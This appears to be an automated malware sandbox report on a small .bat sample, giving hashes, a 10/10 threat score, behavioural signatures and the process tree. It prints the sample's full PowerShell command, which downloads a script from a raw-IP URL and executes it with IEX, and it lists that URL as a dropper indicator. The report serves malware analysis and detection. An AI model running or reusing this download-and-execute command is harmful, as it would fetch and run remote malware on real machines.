Analysis
-
max time kernel
16s -
max time network
46s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
03-09-2020 21:10
Static task
static1
Behavioral task
behavioral1
Sample
3ebef916c89bfab6725e5179bc66e52e.bat
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
3ebef916c89bfab6725e5179bc66e52e.bat
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
3ebef916c89bfab6725e5179bc66e52e.bat
-
Size
220B
-
MD5
ffba72e711c822550ffada7128fa23c1
-
SHA1
8e0fecaddf1765771895425d408b902606e17e69
-
SHA256
0c2979fbb38e64c1f010da3bf048f308add447789e3490462a4a2914882501bc
-
SHA512
4863cc96608a32708f4843bdb275bedfd88435e55316a38ff22e4fbf7453fd194785a8c9f78efe55e3d3149e9dbdb284517a1d6d4f1bff25ea8abe457be7e1a7
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/3ebef916c89bfab6725e5179bc66e52e
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1516 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1516 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1516 powershell.exe 1516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1516 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1436 wrote to memory of 1516 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 1516 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 1516 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 1516 1436 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\3ebef916c89bfab6725e5179bc66e52e.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1436 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3ebef916c89bfab6725e5179bc66e52e');Invoke-BBWAIYOYNUVEV;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516